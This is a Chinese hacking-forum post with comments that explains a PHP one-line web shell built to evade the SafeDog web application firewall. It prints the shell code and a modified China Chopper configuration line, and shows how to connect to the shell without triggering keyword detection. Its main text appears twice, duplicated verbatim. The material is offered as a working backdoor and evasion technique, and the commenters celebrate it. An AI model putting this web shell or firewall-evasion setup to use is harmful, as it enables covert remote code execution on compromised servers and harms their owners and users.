过狗菜刀专用一句话简解及用法(不要再醉了)
论坛有个哥们儿服务器上查出来个“特殊的”一句话,代码如下:原帖:https://www.t00ls.com/thread-29107-1-1.html
回帖的人基本都是醉了,因为里面有个大大的eval在那,所以大家都觉得这是个很SB的一句话,还过什么狗。。。
事实上,这个一句话的确能过狗。而且它是个过狗菜刀专用马!可能是因为前不久狗更新了,导致过狗刀(小斧头)用不了了,所以作者对一句话进行了改造,就产生了这个专门用来过狗的一句话。
再讲解这个过狗马如何使用前,先纠正一个大多数人潜意识的错误:
很多人都认为,一句话能过狗查杀就可以用菜刀连。也常常见到有人求过狗马(能用菜刀连)。
其实,用菜刀过狗连接一句话 和 一句话过狗查杀完全是两码事。
你可以做这样个实验,建个空白文件,然后用菜刀来连它,结果是:里面什么都没有,也照样被狗拦截,如图
可见,用菜刀连接一句话被狗拦,和你的一句话里面代码没有一点儿关系。而是因为狗对POST数据包匹配了eval,base64_decode等关键字。发现危险则墙。
下面我们分析下如何配置自己的过狗菜刀:
过狗刀原来的PHP配置(在Hatchet.ini文件中,现在已被查水表,用不成了)为
PHP_POST_DATA==@eval($_POST[sb]($_POST[z0]));&sb=base64_decode&z0=
菜刀中的z0 传递的是base64_encode密文,这个抓包就能看到,所以那个一句话中的变量$Exp必然是base64_decode这个值,strrev是个反转函数。故我们只需要post个x=edoced_46esab即可,帖子中也朋友说,在菜刀中配置一句话中加上<O>x=edoced_46esab</O>,就可以连接。
但是,这样做狗还是会拦,因为狗是通过POST包拦截的,配置中有eval,base64_decode等关键字。所以我们还必须修改菜刀配置文件:
在修改前,先简单解释下PHP_POST_DATA后面为什么有两个“=”,
PHP_POST_DATA==,第一个等号,是菜刀的配置文件给PHP_POST_DATA赋值,第二个等号是给菜刀中一句话密码赋值的。发包时,=@eval($_POST[sb]($_POST[z0]))前面会加上菜刀的密码。配置搞清楚了,再过狗,z0是密文,一句话中x用来传edoced_46esab。
这样的话,我们直接修改原配置文件为:
PHP_POST_DATA==edoced_46esab&z0=
如此,在菜刀密码中填写x,发包时正好和=edoced_46esab&z0= 组成,x=edoced_46esab&z0=密文
开启菜刀测试,连接成功,狗不拦。如图:
正常配置密码
连接无鸭梨
回来看下,这个过狗马的作者好猥琐,它配合特定的过狗菜刀,让post中无任何关键词!完全是为过狗而生。。测试发现,这个一句话本身也可以过狗查杀。当然,可以再改造下,不出现eval,就更完美了。具体怎么弄,方法很多,自己搞了。
最后: 骑着过狗马,拿着砍狗刀。。妈妈再也不用担心我被狗咬了。。。。
<?$Exp=strrev($_POST['x']);eval($Exp($_POST[z0]));
回帖的人基本都是醉了,因为里面有个大大的eval在那,所以大家都觉得这是个很SB的一句话,还过什么狗。。。
事实上,这个一句话的确能过狗。而且它是个过狗菜刀专用马!可能是因为前不久狗更新了,导致过狗刀(小斧头)用不了了,所以作者对一句话进行了改造,就产生了这个专门用来过狗的一句话。
再讲解这个过狗马如何使用前,先纠正一个大多数人潜意识的错误:
很多人都认为,一句话能过狗查杀就可以用菜刀连。也常常见到有人求过狗马(能用菜刀连)。
其实,用菜刀过狗连接一句话 和 一句话过狗查杀完全是两码事。
你可以做这样个实验,建个空白文件,然后用菜刀来连它,结果是:里面什么都没有,也照样被狗拦截,如图
可见,用菜刀连接一句话被狗拦,和你的一句话里面代码没有一点儿关系。而是因为狗对POST数据包匹配了eval,base64_decode等关键字。发现危险则墙。
下面我们分析下如何配置自己的过狗菜刀:
过狗刀原来的PHP配置(在Hatchet.ini文件中,现在已被查水表,用不成了)为
PHP_POST_DATA==@eval($_POST[sb]($_POST[z0]));&sb=base64_decode&z0=
菜刀中的z0 传递的是base64_encode密文,这个抓包就能看到,所以那个一句话中的变量$Exp必然是base64_decode这个值,strrev是个反转函数。故我们只需要post个x=edoced_46esab即可,帖子中也朋友说,在菜刀中配置一句话中加上<O>x=edoced_46esab</O>,就可以连接。
但是,这样做狗还是会拦,因为狗是通过POST包拦截的,配置中有eval,base64_decode等关键字。所以我们还必须修改菜刀配置文件:
在修改前,先简单解释下PHP_POST_DATA后面为什么有两个“=”,
PHP_POST_DATA==,第一个等号,是菜刀的配置文件给PHP_POST_DATA赋值,第二个等号是给菜刀中一句话密码赋值的。发包时,=@eval($_POST[sb]($_POST[z0]))前面会加上菜刀的密码。配置搞清楚了,再过狗,z0是密文,一句话中x用来传edoced_46esab。
这样的话,我们直接修改原配置文件为:
PHP_POST_DATA==edoced_46esab&z0=
如此,在菜刀密码中填写x,发包时正好和=edoced_46esab&z0= 组成,x=edoced_46esab&z0=密文
开启菜刀测试,连接成功,狗不拦。如图:
正常配置密码
连接无鸭梨
回来看下,这个过狗马的作者好猥琐,它配合特定的过狗菜刀,让post中无任何关键词!完全是为过狗而生。。测试发现,这个一句话本身也可以过狗查杀。当然,可以再改造下,不出现eval,就更完美了。具体怎么弄,方法很多,自己搞了。
最后: 骑着过狗马,拿着砍狗刀。。妈妈再也不用担心我被狗咬了。。。。
评论52次
本地测试成功过狗,现在新版的狗好像拦截不给上传危险格式。
很机智啊~~!!
看了楼主的分析,再去看看哪个帖子里的 , 我也是醉了
硬伤啊 学xi了
牛逼.又学xi了一种新姿式!!!!
了无痕,文如人名。不错。
没什么特别的 因为直接输入时 菜刀会把 代码提交到服务器上 经由第一个你的pass 参数 再通过第二个z0参数赋值(假如你直接提交自己的playload 一样是不会拦截的) 因为菜刀框架写死了(当然你可以汇编解决(斧头不在讨论范围内)) 所以只能在z0-z9上做文章 进行改进 并进而执行代码 实际上相当于把前置代码放到文件中 直接执行base64菜刀编码后的代码 其实很早之前就是这么这么做的 所以最老最老的菜刀直接就过了狗 缺陷还是存在的只要多加入base64解码模块 算法上 特征必定暴露无遗 1.没想到过去的问题依旧没有修补 2.然而认为eval的最大特征却并没想象定为危险 感谢lz用实际行动证明了实事出真理的意义
受教了 感谢分享你的分析心得。。
好久不玩了现在都这么牛X了!向楼主学xi!
好精致的分析
赞一个,刚上来你就放大招了
支持楼主,这科普的太深刻了,幸好我没去那个大大帖子里面嘲讽,不然这耳光啪啪啪。